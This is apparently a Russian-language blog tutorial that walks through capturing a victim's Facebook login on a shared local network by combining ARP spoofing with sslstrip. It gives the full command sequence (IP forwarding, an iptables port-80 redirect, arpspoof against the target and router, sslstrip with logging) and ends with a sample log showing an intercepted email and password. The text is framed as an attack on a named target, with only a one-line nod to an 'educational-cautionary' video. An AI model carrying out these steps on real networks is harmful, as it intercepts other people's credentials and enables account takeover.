Как известно, протокол SSL защищен и бояться за свои пароли, передаваемые по нему, не стоит. Так ли это? Нет! Если вы находитесь в одной локальной сети со своей целью, то получить его пароли для вас будет не проблема. Перейдем от лирики к практике.

У нас есть два компьютера в локальной сети и роутер, соединяющий их и дающий выход в глобальную сеть. Предположим, что мы — атакующий компьютер с IP адресом 192.168.1.101. Наша цель — Вася Пупкин с IP адресом 192.168.1.102, который хочет залогиниться в www.facebook.com.

1) Узнаем адрес роутера:

$ ip route show | grep default | awk '{ print $3 }'
192.168.1.1

2) Включим на машине режим перенаправления пакетов:

$ echo "1" > /proc/sys/net/ipv4/ip_forward

3) Настроим iptables для перенаправления http-трафика на порт 1000:

$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000

4) Теперь нам надо заставить цель поверить, что мы и есть тот самый роутер. Запускаем для этого arpspoof:

$ arpspoof -i eth1 -t 192.168.1.102 192.168.1.1

5) Проверим тело sslstrip на наличие правильной версии Python:

$ head -1 /usr/local/bin/sslstrip

Если стоит /usr/bin/env python меняем на /usr/bin/python2.6

6) И вот запускаем сам sslstrip для поимки пароля:

$ sslstrip -a -l 1000 -w /root/log.txt

Расшифруем параметры:
-a ловится весь http и ssl траффик
-l слушаем на 1000 порту, на который мы делали перенаправление
-w запись лога в файл /root/log.txt

7) Вася заходит на facebook, вводит мыло и пароль.

8) Мы анализируем лог:

$ grep -A 1 SECURE /root/log.txt

2011-09-25 18:10:21,997 SECURE POST Data (www.facebook.com):

charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=AZ4G5&locale=en_US&email=v.pupkin%40gmail.com&pass=my_password&default_persistent=0&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=AZ4G5

Видим, что логин v.pupkin%40gmail.com; %40 — это значок @ в url кодировке, а пароль — my_password

Собственно мы получили, что хотели. Обучающе-остерегающий видос внизу: